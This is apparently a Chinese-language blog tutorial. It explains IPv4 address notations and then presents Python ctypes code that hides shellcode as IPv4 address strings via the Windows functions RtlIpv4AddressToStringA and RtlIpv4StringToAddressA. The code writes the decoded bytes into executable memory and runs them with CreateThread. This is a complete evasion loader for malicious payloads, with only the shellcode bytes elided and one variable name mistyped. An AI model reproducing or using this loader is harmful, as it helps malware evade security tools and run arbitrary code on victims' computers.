IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽最大努力交付数据包,意即它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达。IPv4使用32位(4字节)地址,因此地址空间中只有4,294,967,296个地址,格式如下:
格式 | 值 | 从点分十进制转换 |
---|---|---|
点分十进制 | 192.0.2.235 | 不适用 |
点分十六进制 | 0xC0.0x00.0x02.0xEB | 每个字节被单独转换为十六进制 |
点分八进制 | 0300.0000.0002.0353 | 每个字节被单独转换为八进制 |
十六进制 | 0xC00002EB | 将点分十六进制连在一起 |
十进制 | 3221226219 | 用十进制写出的32位整数 |
八进制 | 030000001353 | 用八进制写出的32位整数 |
python中可以利用ctypes库来链接Ntdll动态链接库中的RtlIpv4AddressToStringA
函数来将Shellcode转换为ipv4格式
api函数原型:https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv4addresstostringa
NTSYSAPI PSTR RtlIpv4AddressToStringA(
[in] const in_addr *Addr,
[out] PSTR S
);
Addr
参数指按网络字节顺序排列的IPv4地址。
S
参数指向缓冲区的指针,用于存储IPv4地址以NULL结尾的字符串表示形式。这个缓冲区应该足够大,可以容纳至少16个字符。
注意:4个字节转换一个Ipv4值,\x00是一个字节,当使用该函数后4个字节会变成16-1(\x00)个字节,即15个字节,当剩余字节数不满4个需要添加\x00补充字节数,必须将全部的shellcode全部转化为Ipv4值
# shellcode填充为4的倍数
shellcode = "\xfc\x48\x83......x00\x00"
#申请ipv4虚拟内存
ipv4_address = ctypes.windll.kernel32.VirtualAlloc(0,ctypes.c_int(len(shellcode)//4*16),0x3000,0x40)
#将tlIpv4AddressToStringA将shellcode转换为ipv4字符串
for i in range(len(shellcode)//4):
cut_byte = shellcode[i*4:4+i*4]
ctypes.windll.Ntdll.RtlIpv4AddressToStringA(cut_byte, ipv4_address+i*16)
RtlIpv4StringToAddress
函数将 IPv4 地址的字符串表示形式转换为二进制 IPv4 地址。
api函数原型:https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv4stringtoaddressa
NTSYSAPI NTSTATUS RtlIpv4StringToAddressA(
[in] PCSTR S,
[in] BOOLEAN Strict,
[out] PCSTR *Terminator,
[out] in_addr *Addr
);
s
参数指向包含 IPv4 地址的以NULL结尾的字符串表示形式的缓冲区的指针。
Strict
参数一个值,指示字符串是否必须是用严格的四部分点分十进制表示法表示的 IPv4 地址。如果此参数为TRUE,则字符串必须是点分十进制,有四个部分。如果此参数为FALSE,则允许使用十进制、八进制或十六进制表示法的四种可能形式中的任何一种。
Terminator
参数指向终止转换字符串的字符的指针
Addr
要存储 IPv4 地址的二进制表示的指针。
ipv4_list = []
#获取IPv4 地址的字符串
for i in range(len(shellcode)//4):
ipv4_str = ctypes.string_at(ipv4address+i*16,16)
ipv4_list.append(ipv4_str)
#申请shellcode内存
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ptr1 = ptr
#RtlIpv4StringToAddressA将ipv4转为二进制写入内存,内存递归增长4
for i in range(len(ipv4_list)):
ctypes.windll.Ntdll.RtlIpv4StringToAddressA(ipv4_list[i],False,ipv4_list[i],ptr1)
ptr1 += 4
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
【每当你想要批评什么人的时候,你要记住并不是所有人都有你所拥有的优势。】